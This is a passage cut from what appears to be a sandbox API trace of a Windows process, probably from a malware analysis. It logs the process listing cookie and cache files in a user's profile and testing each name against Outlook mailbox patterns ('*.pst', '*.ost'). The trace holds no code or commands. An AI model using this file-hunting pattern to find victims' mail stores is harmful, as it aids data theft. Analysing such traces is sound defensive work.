ftLastWriteTime.dwLowDateTime=0xfcaed0a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@bs.serving-sys[1].txt", cAlternateFileName="AE4580~1.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bs.serving-sys[1].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bs.serving-sys[1].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1afa2fa0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1afa2fa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1afa2fa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@bs.serving-sys[3].txt", cAlternateFileName="AE9CB5~1.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bs.serving-sys[3].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@bs.serving-sys[3].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd16d5420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd16d5420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@c.bing[1].txt", cAlternateFileName="AETADZ~2.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@c.bing[1].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@c.bing[1].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf6e420, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf6e420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf6e420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@c.msn[2].txt", cAlternateFileName="AETADZ~3.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@c.msn[2].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@c.msn[2].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1747840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@c1.microsoft[2].txt", cAlternateFileName="AE0D21~1.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@c1.microsoft[2].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@c1.microsoft[2].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd06058c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd06058c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@casalemedia[2].txt", cAlternateFileName="AEEFDF~1.TXT")) returned 1 [0098.947] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.947] PathMatchSpecW (pszFile="aetadzjz@casalemedia[2].txt", pszSpec="*.pst") returned 0 [0098.947] PathMatchSpecW (pszFile="aetadzjz@casalemedia[2].txt", pszSpec="*.ost") returned 0 [0098.947] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd04629a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd04629a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd04629a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@connextra[2].txt", cAlternateFileName="AE9716~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.948] PathMatchSpecW (pszFile="aetadzjz@connextra[2].txt", pszSpec="*.pst") returned 0 [0098.948] PathMatchSpecW (pszFile="aetadzjz@connextra[2].txt", pszSpec="*.ost") returned 0 [0098.948] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0bf8fc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@crwdcntrl[1].txt", cAlternateFileName="AE48CD~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.948] PathMatchSpecW (pszFile="aetadzjz@crwdcntrl[1].txt", pszSpec="*.pst") returned 0 [0098.948] PathMatchSpecW (pszFile="aetadzjz@crwdcntrl[1].txt", pszSpec="*.ost") returned 0 [0098.948] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@demdex[1].txt", cAlternateFileName="AEC92B~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.948] PathMatchSpecW (pszFile="aetadzjz@demdex[1].txt", pszSpec="*.pst") returned 0 [0098.948] PathMatchSpecW (pszFile="aetadzjz@demdex[1].txt", pszSpec="*.ost") returned 0 [0098.948] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd500b80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd500b80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd500b80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@doubleclick[2].txt", cAlternateFileName="AEA244~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.948] PathMatchSpecW (pszFile="aetadzjz@doubleclick[2].txt", pszSpec="*.pst") returned 0 [0098.948] PathMatchSpecW (pszFile="aetadzjz@doubleclick[2].txt", pszSpec="*.ost") returned 0 [0098.948] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@dpm.demdex[1].txt", cAlternateFileName="AE28CE~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.948] PathMatchSpecW (pszFile="aetadzjz@dpm.demdex[1].txt", pszSpec="*.pst") returned 0 [0098.948] PathMatchSpecW (pszFile="aetadzjz@dpm.demdex[1].txt", pszSpec="*.ost") returned 0 [0098.948] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a560a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0ac84c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0ac84c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@exelator[1].txt", cAlternateFileName="AE0A5A~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.948] PathMatchSpecW (pszFile="aetadzjz@exelator[1].txt", pszSpec="*.pst") returned 0 [0098.948] PathMatchSpecW (pszFile="aetadzjz@exelator[1].txt", pszSpec="*.ost") returned 0 [0098.948] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09255a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09255a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09255a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@eyeota[1].txt", cAlternateFileName="AEEA65~1.TXT")) returned 1 [0098.948] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@eyeota[1].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@eyeota[1].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb99a0960, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@google[2].txt", cAlternateFileName="AEAC72~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@google[2].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@google[2].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0c45280, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c45280, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c45280, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@ibeu2.mookie1[2].txt", cAlternateFileName="AEEA6E~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@ibeu2.mookie1[2].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@ibeu2.mookie1[2].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@ih.adscale[1].txt", cAlternateFileName="AE118A~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@ih.adscale[1].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@ih.adscale[1].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@linkedin[2].txt", cAlternateFileName="AE4CE8~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@linkedin[2].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@linkedin[2].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19bb3760, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b0d3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b0d3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@m.exactag[2].txt", cAlternateFileName="AE14B6~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@m.exactag[2].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@m.exactag[2].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@mathtag[2].txt", cAlternateFileName="AE1703~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@mathtag[2].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@mathtag[2].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce87dfa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@microsoft[1].txt", cAlternateFileName="AEE18A~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.949] PathMatchSpecW (pszFile="aetadzjz@microsoft[1].txt", pszSpec="*.pst") returned 0 [0098.949] PathMatchSpecW (pszFile="aetadzjz@microsoft[1].txt", pszSpec="*.ost") returned 0 [0098.949] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18a97940, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1bfb4420, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1bfb4420, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@msn[2].txt", cAlternateFileName="AED77F~1.TXT")) returned 1 [0098.949] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.950] PathMatchSpecW (pszFile="aetadzjz@msn[2].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@msn[2].txt", pszSpec="*.ost") returned 0 [0098.950] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@openx[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0098.950] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.950] PathMatchSpecW (pszFile="aetadzjz@openx[1].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@openx[1].txt", pszSpec="*.ost") returned 0 [0098.950] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@pixel.rubiconproject[1].txt", cAlternateFileName="AE4ADC~1.TXT")) returned 1 [0098.950] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.950] PathMatchSpecW (pszFile="aetadzjz@pixel.rubiconproject[1].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@pixel.rubiconproject[1].txt", pszSpec="*.ost") returned 0 [0098.950] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@pubmatic[2].txt", cAlternateFileName="AE20C2~1.TXT")) returned 1 [0098.950] PathMatchSpecW (pszFile="aetadzjz@pubmatic[2].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@pubmatic[2].txt", pszSpec="*.ost") returned 0 [0098.950] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@rubiconproject[1].txt", cAlternateFileName="AE4537~1.TXT")) returned 1 [0098.950] PathMatchSpecW (pszFile="aetadzjz@rubiconproject[1].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@rubiconproject[1].txt", pszSpec="*.ost") returned 0 [0098.950] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc28e100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc28e100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x234120, cFileName="aetadzjz@scorecardresearch[2].txt", cAlternateFileName="AE0340~1.TXT")) returned 1 [0098.950] PathMatchSpecW (pszFile="aetadzjz@scorecardresearch[2].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@scorecardresearch[2].txt", pszSpec="*.ost") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@semasio[1].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@semasio[1].txt", pszSpec="*.ost") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@server.adformdsp[2].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@server.adformdsp[2].txt", pszSpec="*.ost") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@serving-sys[2].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@serving-sys[2].txt", pszSpec="*.ost") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@serving.experianmarketingservices[1].txt", pszSpec="*.pst") returned 0 [0098.950] PathMatchSpecW (pszFile="aetadzjz@serving.experianmarketingservices[1].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@smartadserver[1].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@smartadserver[1].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@tapad[2].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@tapad[2].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@track.adform[2].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@track.adform[2].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@turn[1].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@turn[1].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@w55c[2].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@w55c[2].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@www.bing[1].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@www.bing[1].txt", pszSpec="*.ost") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@www.linkedin[1].txt", pszSpec="*.pst") returned 0 [0098.951] PathMatchSpecW (pszFile="aetadzjz@www.linkedin[1].txt", pszSpec="*.ost") returned 0 [0098.952] PathMatchSpecW (pszFile="aetadzjz@www.msn[2].txt", pszSpec="*.pst") returned 0 [0098.952] PathMatchSpecW (pszFile="aetadzjz@www.msn[2].txt", pszSpec="*.ost") returned 0 [0098.952] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.952] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.952] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0098.953] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.953] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="IECompatCache" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache" [0098.953] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*" [0098.953] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.953] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", pszFile="Low" | out: 